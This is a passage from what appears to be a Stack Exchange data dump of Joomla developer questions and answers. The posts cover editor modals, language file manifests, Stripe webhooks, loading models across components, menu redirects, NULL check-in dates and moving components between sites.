return;&#xA;  };&#xA;});&#xA;&#xA;function addJceEditor() {&#xA;    let editorDiv = document.createElement('div');&#xA;    editorDiv.setAttribute('id', 'ed_loaded1');&#xA;    let parDiv = document.getElementById('neweditor');&#xA;    parDiv.appendChild(editorDiv);&#xA;    editorDiv.innerHTML = &amp;lt;?php echo $modalEditor(); ?&amp;gt;;&#xA;    let settings = tinymce.settings;&#xA;    var ed = new tinymce.Editor('markers_markerdescription', settings);&#xA;    ed.render();&#xA;    return;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Please be aware&lt;/strong&gt; that I renamed your editor field to &lt;code&gt;$name = $id = 'markers_markerdescription';&lt;/code&gt; in my code. The selector should be modified if needed everywhere in the code.&lt;/p&gt;&#xA;&lt;p&gt;The above script checks which editor is loaded, also checks if the Editor was already created and initialized (just to avoid endless duplication of editors in the Modal).&lt;/p&gt;&#xA;&lt;p&gt;I focused only to solve this in short amount of time, so the code could be improved here and there of course, I wanted to keep this more or less readable, understandable with deliberately not using shorted &amp;quot;coding stunts&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;And finally, I would recommend to create &lt;strong&gt;Form fields&lt;/strong&gt; in a Joomla standard way using an XML file for defining a Form and Fields and that is actually much shorter way of doing these jobs. Like defining this editor field in an XML would look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;making&amp;quot;&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;markers&amp;quot; label=&amp;quot;COM_MYCOMPONENT_FIELD_LABEL&amp;quot;&amp;gt;&#xA;            &amp;lt;field  &#xA;                name=&amp;quot;markerdescription&amp;quot; &#xA;                buttons =&amp;quot;true&amp;quot;&#xA;                type=&amp;quot;editor&amp;quot; &#xA;                label=&amp;quot;Edit Marker Data&amp;quot; &#xA;                description=&amp;quot;&amp;quot; &#xA;                width=&amp;quot;500&amp;quot;&#xA;                editor=&amp;quot;desired|alternative&amp;quot;&#xA;                filter=&amp;quot;safehtml&amp;quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you could also load this editor Form field with about 4 lines of code anywhere in Joomla (loading this into a Modal requires JavaScript too of course).&lt;/p&gt;&#xA;&lt;p&gt;I hope that the above will work fine for you too.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-08-04T19:34:43.763" LastActivityDate="2021-08-04T19:34:43.763" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31412" PostTypeId="1" CreationDate="2021-08-03T10:57:19.333" Score="0" ViewCount="347" Body="&lt;p&gt;I'm developing a template and I find it both interesting and confusing to how Joomla 4 loads language files.&lt;/p&gt;&#xA;&lt;p&gt;First there is the &lt;code&gt;templateDetails.xml&lt;/code&gt; notation:&lt;/p&gt;&#xA;&lt;p&gt;Cassiopeia uses&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&amp;quot;language&amp;quot;&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/tpl_cassiopeia.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/tpl_cassiopeia.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In other extensions I see additions like &lt;code&gt;en-GB.&lt;/code&gt;, for instance&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&amp;quot;language&amp;quot;&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.tpl_templatename.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.tpl_templatename.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the question is, does Joomla 4 load these language files from this location without having to copy them to &lt;code&gt;site/language/en-GB&lt;/code&gt; folder on extension installation?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-08-03T14:04:14.583" Title="Joomla 4 extension language files no longer go to 'site/languages/en-GB' when install via discovery" Tags="|language|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31413" PostTypeId="1" CreationDate="2021-08-03T12:54:46.260" Score="1" ViewCount="173" Body="&lt;p&gt;Scenario&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site has OSMembership for subscriptions&lt;/li&gt;&#xA;&lt;li&gt;Site has RSForms Pro for registering for in person / virtual courses&lt;/li&gt;&#xA;&lt;li&gt;Site has J2Store for some miscellaneous products&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In Stripe, I've set up two checkout.session.completed webhooks for OSMembership and RSForms (J2Store doesn't currently have notes regarding a webhook).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/59995848/stripe-handle-multiple-webhooks&quot;&gt;https://stackoverflow.com/questions/59995848/stripe-handle-multiple-webhooks&lt;/a&gt; indicates&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both webhooks would be triggered, but only one needs to fire.&lt;/li&gt;&#xA;&lt;li&gt;Workaround is a page needs to be created for the checkout.session.completed webhook (a page separate to the OSMembership and RSForms Pro webhook destinations)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The new webhook page retrieves the Stripe Session ID&lt;/li&gt;&#xA;&lt;li&gt;It looks at the metadata coming back from the session&lt;/li&gt;&#xA;&lt;li&gt;It identifies the initiating component&lt;/li&gt;&#xA;&lt;li&gt;It redirects the webhook to the appropriate component webhook page to then pass the Stripe session data across to the correct endpoint and in turn complete the transaction in the correct place.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Has anyone implemented a solution like this before in Joomla?&lt;/p&gt;&#xA;&lt;p&gt;Know what to look at in the session array to identify which component to send things back to?&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2021-08-03T12:54:46.260" Title="Multiple Stripe Webhooks for checkout.session.completed from various Joomla components" Tags="|joomla-3.x|joomla-4.x|stripe|webhooks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31415" PostTypeId="2" ParentId="31412" CreationDate="2021-08-03T14:04:14.583" Score="1" Body="&lt;p&gt;Cassiopeia and other core extensions have the files you're asking about installed as part of the Joomla package, so the references in the manifest files are to point to where a file even though it's installed as part of the package (eg the manifest file would be used to identify information when you Discover extensions).&lt;/p&gt;&#xA;&lt;p&gt;Breaking down the en-GB file for the language pack:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&amp;quot;languagecode&amp;quot;&amp;gt;languagecode.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;languages folder=&amp;quot;language&amp;quot;&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.tpl_templatename.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.tpl_templatename.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the files section, you define the language folder to use. If you have multiple languages you can simply include the folder reference in the files section, and any language files in the installer package will unpack to that location.&lt;/li&gt;&#xA;&lt;li&gt;In the languages section, the tag identifies the language to associate the files with, while the language folder tells Joomla which language subfolder to put the files into. So &lt;code&gt;/language/en-GB/&lt;/code&gt; as language was defined in the files section.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For a template I use, there's three languages it ships with, so it's manifest language section looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&amp;quot;language&amp;quot;&amp;gt;&#xA;    &amp;lt;!-- en-GB --&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.tpl_templatename.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.tpl_templatename.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;!-- es-ES --&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;es-ES&amp;quot;&amp;gt;es-ES/es-ES.tpl_templatename.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;es-ES&amp;quot;&amp;gt;es-ES/es-ES.tpl_templatename.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;!-- de-DE --&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;de-DE&amp;quot;&amp;gt;de-DE/de-DE.tpl_templatename.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;de-DE&amp;quot;&amp;gt;de-DE/de-DE.tpl_templatename.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;A note on extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since Joomla! 1.6 it is recommended that you place your extension's language files in your extension folder (This varies between extensions, particularly ones that have been around since Joomla 1.x). Joomla! searches for language files in a folder hierarchy: the extension language folder, the site language folder, then the language overrides folder. So if there's a file available further down the order, it will override the preceding language file.&lt;/p&gt;&#xA;&lt;p&gt;By storing extension language files in the extension folder, you benefit by isolating and protecting your extension's language files. For example, an administrator removes a language from their Joomla! installation. Your extension's language files will not be removed. They will remain in place and will be available if the language is installed again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;See &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Manifest_files&lt;/a&gt; for more information on Joomla's Manifest Files.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2021-08-03T14:04:14.583" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31416" PostTypeId="1" CreationDate="2021-08-03T22:02:55.747" Score="1" ViewCount="63" Body="&lt;p&gt;I created a frontend form override for article submission &lt;code&gt;tmpl/form/edit.php&lt;/code&gt; and added the following field as plain HTML&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;jform[attribs][videourl]&amp;quot; id=&amp;quot;jform_attribs_videourl&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I expected the data to be passed to the &lt;code&gt;__content &amp;gt; attribs&lt;/code&gt; table but it just returns empty. Is it that fields must be served from xml only?&lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2021-08-05T01:37:23.917" LastActivityDate="2021-08-05T01:37:23.917" Title="I manually added a field to frontend article submission form but it does NOT save the data. What is wrong?" Tags="|joomla-3.x|jform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31417" PostTypeId="1" AcceptedAnswerId="31432" CreationDate="2021-08-05T17:08:45.247" Score="1" ViewCount="145" Body="&lt;p&gt;I'm making a menu to retrieve all articles that have certain tags and are from a certain category using &lt;strong&gt;&amp;quot;Tagged Items&amp;quot;&lt;/strong&gt; menu item type,&#xA;I managed to get all articles that have certain tags, however, &lt;strong&gt;&amp;quot;Tagged Items&amp;quot;&lt;/strong&gt; is bringing articles from all categories,&#xA;I tried to search in the menu item options for an option that would let me select the categories, but to no avail,&lt;/p&gt;&#xA;&lt;p&gt;My question is, is there a way to retrieve articles from just one category of articles using &lt;strong&gt;&amp;quot;Tagged Items&amp;quot;&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15605" LastActivityDate="2021-08-10T23:39:03.963" Title="Filter Categories in Tagged Items Menu Item Type" Tags="|joomla-3.x|menu-item|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31419" PostTypeId="1" AcceptedAnswerId="31420" CreationDate="2021-08-05T18:04:31.410" Score="2" ViewCount="197" Body="&lt;p&gt;In my controller of my component, i want to load the model : PluginModel from Joomla\Component\Plugins\Administrator\Model\PluginModel;&lt;/p&gt;&#xA;&lt;p&gt;In my controller the getModel method return just false, this is my controller :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\MVC\Controller\AdminController;&#xA;&#xA;class PluginsController extends AdminController&#xA;{&#xA;    public function __construct($config = [])&#xA;    {&#xA;        parent::__construct($config);&#xA;    }&#xA;&#xA;    public function publish()&#xA;    {&#xA;        $model = $this-&amp;gt;getModel();&#xA;    }&#xA;&#xA;    public function getModel($name = 'Plugin', $prefix = 'Administrator', $config = ['ignore_request' =&amp;gt; true])&#xA;    {&#xA;        return parent::getModel($name, $prefix, $config);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By using this way it works on J!3.9.x but on J!4.0, the $model = $this-&amp;gt;getModel(); just return false&lt;/p&gt;&#xA;&lt;p&gt;How to load the model ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2021-08-06T13:59:41.813" Title="In controller in admin of my component, i want to load a model from com_plugins" Tags="|extensions|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31420" PostTypeId="2" ParentId="31419" CreationDate="2021-08-06T04:39:00.157" Score="3" Body="&lt;p&gt;Yes, Joomla4 has a different approach.&#xA;This is how you can call other component's Model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$app = Factory::getApplication();&#xA;$model = $app-&amp;gt;bootComponent('com_plugins')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Plugin', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or, the legacy way is also working about a year ago in Joomla4:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_plugins/models', 'PluginModel');&#xA;$model = JModelLegacy::getInstance('Plugin', 'PluginsModel', ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I did not test that, but theoretically your code also should work if you add the model path and change the &lt;code&gt;$prefix&lt;/code&gt; like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getModel($name = 'Plugin', $prefix = 'PluginsModel', $config = ['ignore_request' =&amp;gt; true])&#xA;{&#xA;    JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_plugins/models', 'PluginModel');&#xA;    return parent::getModel($name, $prefix, $config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-08-06T13:59:41.813" LastActivityDate="2021-08-06T13:59:41.813" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31421" PostTypeId="1" CreationDate="2021-08-07T15:02:18.683" Score="0" ViewCount="37" Body="&lt;p&gt;In my component i have an error showed in top of the page coming from a query which has failed :&lt;/p&gt;&#xA;&lt;p&gt;Syntax error near to '' at line 3&lt;/p&gt;&#xA;&lt;p&gt;Is-there a way to track the place and the query which fails in this case ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2021-08-07T15:09:54.587" LastActivityDate="2021-08-07T15:09:54.587" Title="Error not clear in query in component, how to track the query which fails" Tags="|extensions|joomla-4|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31422" PostTypeId="1" CreationDate="2021-08-08T07:15:04.677" Score="1" ViewCount="310" Body="&lt;p&gt;I'm trying to do a &amp;quot;quick&amp;quot; fix to J3 components so they work in J4 until I can re-code in the new structure ready for J5.&#xA;Now that I've set the scene, I'm stumbling on getting the Menu URL that was last selected before performing some updates to a record in the frontend.&lt;/p&gt;&#xA;&lt;p&gt;Old J3 way I worked this in the controller was:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu = Factory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$url  = (empty($menu-&amp;gt;link) ? 'index.php?option=com_mycomponent&amp;amp;view=multiviews' : $menu-&amp;gt;link);&#xA;$this-&amp;gt;setRedirect(Route::_($url, false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now using this in an install of J4 keeps dumping me back to default home page.  Any and all guidance appreciated.&#xA;Glenn&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-12-26T11:02:35.273" Title="Retrieve Active Menu link in Controller (frontend - Joomla4)" Tags="|menu-item|joomla-4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31423" PostTypeId="1" CreationDate="2021-08-08T08:24:35.463" Score="1" ViewCount="310" Body="&lt;p&gt;So zero dates are deprecated in MySQL. J4 has replaced them with nulls.I am trying to update a J3 component to stop J setting zeros in the modified and checked_out_time fields.&lt;/p&gt;&#xA;&lt;p&gt;For modified I am using table prepareTable() to set an empty modified date from the form to  NULL for saving and table getItem() to replace nulls in modified with a zero date to keep the calendar control happy.&lt;/p&gt;&#xA;&lt;p&gt;The problem is with checked_out_time which is set back to zero by joomla in a separate query when the item is closed (ie after save).&lt;/p&gt;&#xA;&lt;p&gt;How can I override this to force Joomla to save a valid for MySQL date?&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2022-06-03T07:52:32.990" Title="Joomla 3.9 replace zero dates with null on save/checkin (mysql zero date deprecated)" Tags="|mysql|joomla-3.9|jtable|date|check-in|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="31424" PostTypeId="2" ParentId="31422" CreationDate="2021-08-08T08:47:03.083" Score="0" Body="&lt;p&gt;Ok, so a work around for me is to have the &amp;quot;collection&amp;quot; of the Menu id in the view template saved to session and then brought back in the controller where I need it (ie been over to another form view and submitted etc).&lt;/p&gt;&#xA;&lt;p&gt;In the View:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu = Factory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$Itemid = $menu-&amp;gt;id;&#xA;Factory::getApplication()-&amp;gt;setUserState('com_mycomponent.menu.Itemid', $menu-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the Controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$Itemid = Factory::getApplication()-&amp;gt;getUserState('com_mycomponent.menu.Itemid');&#xA;$this-&amp;gt;setRedirect(Route::_('index.php?option=com_mycomponent&amp;amp;view=multiviews&amp;amp;Itemid='.$Itemid, false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm sure there is a nicer way to do this, so if anyone can shed some light on it for me, much appreciated.&#xA;I have converted a component into the new structure and there is no need for this, all handled within the CMS framework.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-08-08T08:47:03.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31425" PostTypeId="2" ParentId="31423" CreationDate="2021-08-08T11:16:51.380" Score="2" Body="&lt;p&gt;With thanks to @glenn-arkell who pointed me in the right direction, for j3.9 this works to stop Joomla writing '&lt;code&gt;0000-00-00 00:00:00&lt;/code&gt;' into the checked_out_time field. For other fields (eg &lt;code&gt;modified&lt;/code&gt; and any of your own datetime fields) use &lt;code&gt;bind()&lt;/code&gt; or &lt;code&gt;prepareTable()&lt;/code&gt; and &lt;code&gt;getItem()&lt;/code&gt; to set empty dates from a form control to null and null dates back to zero for use in a form control.&lt;/p&gt;&#xA;&lt;p&gt;In your table class add the following function (copied from the parent table class and modified to write nulls for the checked_out_time field. The parent class is replaced.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function checkIn($pk = null) {&#xA;    $checkedOutField = $this-&amp;gt;getColumnAlias('checked_out');&#xA;    $checkedOutTimeField = $this-&amp;gt;getColumnAlias('checked_out_time');&#xA;&#xA;    // If there is no checked_out or checked_out_time field, just return true.&#xA;    if (!property_exists($this, $checkedOutField) || !property_exists($this, $checkedOutTimeField))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    if (is_null($pk))&#xA;    {&#xA;        $pk = array();&#xA;&#xA;        foreach ($this-&amp;gt;_tbl_keys as $key)&#xA;        {&#xA;            $pk[$this-&amp;gt;$key] = $this-&amp;gt;$key;&#xA;        }&#xA;    }&#xA;    elseif (!is_array($pk))&#xA;    {&#xA;        $pk = array($this-&amp;gt;_tbl_key =&amp;gt; $pk);&#xA;    }&#xA;&#xA;    foreach ($this-&amp;gt;_tbl_keys as $key)&#xA;    {&#xA;        $pk[$key] = empty($pk[$key]) ? $this-&amp;gt;$key : $pk[$key];&#xA;&#xA;        if ($pk[$key] === null)&#xA;        {&#xA;            throw new \UnexpectedValueException('Null primary key not allowed.');&#xA;        }&#xA;    }&#xA;&#xA;    // Check the row in by primary key.&#xA;    $query = $this-&amp;gt;_db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;update($this-&amp;gt;_tbl)&#xA;        -&amp;gt;set($this-&amp;gt;_db-&amp;gt;quoteName($checkedOutField) . ' = 0' )&#xA;        -&amp;gt;set($this-&amp;gt;_db-&amp;gt;quoteName($checkedOutTimeField) . ' = NULL' );&#xA;    parent::appendPrimaryKeys($query, $pk);&#xA;    $this-&amp;gt;_db-&amp;gt;setQuery($query);&#xA;&#xA;    // Check for a database error.&#xA;    $this-&amp;gt;_db-&amp;gt;execute();&#xA;&#xA;    // Set table values in the object.&#xA;    $this-&amp;gt;$checkedOutField     =  0;&#xA;    //we are putting an empty, not null, value here for compatibility with anything else using onAfterCheckin.&#xA;    $this-&amp;gt;$checkedOutTimeField =  '';&#xA;&#xA;    $dispatcher = \JEventDispatcher::getInstance();&#xA;    $dispatcher-&amp;gt;trigger('onAfterCheckin', array($this-&amp;gt;_tbl));&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This seems to work ok for getting rid of those pesky '0000-00-00 00:00:00' values in the checked_out_time field in the database and stops mysql throwing warnings and allows phpmyadmin to work without having to change the Strict mode.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2021-08-08T11:16:51.380" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31426" PostTypeId="1" AcceptedAnswerId="31427" CreationDate="2021-08-09T14:07:45.703" Score="0" ViewCount="52" Body="&lt;p&gt;I am using the JTable class, but I have an issue, at the moment I export the data I get from the table via this way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable('Articles');&#xA;$table-&amp;gt;load($id);&#xA;&#xA;$properties  = $table-&amp;gt;getProperties(1);&#xA;return ArrayHelper::toObject($properties, 'JObject');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this spits out a Object. Now I want to spit out an array, so I can access the data via the $array['keyname'] way. (Instead of $array-&amp;gt;keyname right now)&lt;/p&gt;&#xA;&lt;p&gt;But how do I do that?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;return ArrayHelper::toObject($properties, 'Array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried the above but obviously that is not working.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-08-09T14:37:24.033" Title="JTable return associative array instead of object" Tags="|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31427" PostTypeId="2" ParentId="31426" CreationDate="2021-08-09T14:37:24.033" Score="4" Body="&lt;p&gt;&lt;code&gt;$table-&amp;gt;getProperties()&lt;/code&gt; already returns an array. You need to remove &lt;code&gt;ArrayHelper::toObject()&lt;/code&gt; call which converts the array to an object.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-08-09T14:37:24.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31428" PostTypeId="1" CreationDate="2021-08-09T17:25:40.000" Score="1" ViewCount="51" Body="&lt;p&gt;I've been working with wordpress for so many years, and I've just been tasked with helping someone fix their joomla site. For some reason they didn't want to copy over the whole site to a dev environement so they only installed the theme and then re-installed core components except for one.&lt;/p&gt;&#xA;&lt;p&gt;They don't have a zip file for it and it was built by another dev so it's not available many places and I'm wondering if there's a way to just FTP a component between Joomla sites. I have both servers accessed here in filezilla but I don't know what particular folders and files should be included, typically, for a component&lt;/p&gt;&#xA;&lt;p&gt;any help is appreciated&lt;/p&gt;&#xA;" OwnerUserId="15614" LastActivityDate="2021-08-11T00:23:14.903" Title="Is there a way to FTP a particular component between joomla sites" Tags="|component|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31429" PostTypeId="2" ParentId="31428" CreationDate="2021-08-09T23:41:14.970" Score="1" Body="&lt;p&gt;There a plenty opportunities for things not to work at the other end, however this is the basics that might get you there.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the component that you want to move you will need to find all the pieces of the component and they should be in &lt;code&gt;/administrator/components/com_some-name/&lt;/code&gt; for the back end and &lt;code&gt;/components/com_some-name/&lt;/code&gt; for the front end elements. You might also find something in &lt;code&gt;/media/com_some-name/&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Copy those directories to the same places on the target site, whether you use FTP or some other technique is up to your environment.&lt;/p&gt;&#xA;&lt;p&gt;Then log into the back end of the target site and go to Extensions=&amp;gt;Manage=&amp;gt;Discover and if the component does not appear on the list, hit the Discover button in the top left. Once the extension shows up you can hit the Install button and it will attempt to add the component details to the #___extensions table.&lt;/p&gt;&#xA;&lt;p&gt;If you are lucky the component might work on the new site, however there could be other steps required, maybe data in sql tables that need to be exported/imported that really will need an understanding of the component you are moving.&lt;/p&gt;&#xA;&lt;p&gt;You also run the risk of preferring to work with Joomla.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-08-09T23:41:14.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31430" PostTypeId="1" CreationDate="2021-08-10T16:14:02.917" Score="1" ViewCount="74" Body="&lt;p&gt;I am trying to create a simple login popup. From the shared image of UI, you can see, a login button(top right) which opens a popup for login form.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://prnt.sc/1mc5ppq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://prnt.sc/1mc5ppq&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, I want to pass the email and password to the backend and get it verified. I used axios with POST request.&lt;/p&gt;&#xA;&lt;p&gt;How should be the target URL specified and in which file should I create the php function to verify the username and password.&lt;/p&gt;&#xA;&lt;p&gt;Do I need to create a dummy component or module or plugin to achieve this.&lt;/p&gt;&#xA;&lt;p&gt;Googling I saw some urls were&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?com_ajax&amp;amp;task=loginVerify&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But not sure where to write this function loginVerify&lt;/p&gt;&#xA;" OwnerUserId="15539" LastActivityDate="2021-09-21T17:12:13.270" Title="Simple Ajax Request Without Component/Module/Plugin" Tags="|ajax|com-ajax|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31431" PostTypeId="2" ParentId="26813" CreationDate="2021-08-10T23:26:31.800" Score="1" Body="&lt;p&gt;Check and verify the Global Config settings for Log Folder Path and Temp Folder Path, and make sure they are correct, they are within your domain's root folder, and their permissions are good (should by writable, 0755).&lt;/p&gt;&#xA;&lt;p&gt;These paths can sometimes go adrift, often for domains that have been restored from backups. If they are wrong, then either the site's logging or installers will break.&lt;/p&gt;&#xA;" OwnerUserId="14235" LastActivityDate="2021-08-10T23:26:31.800" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
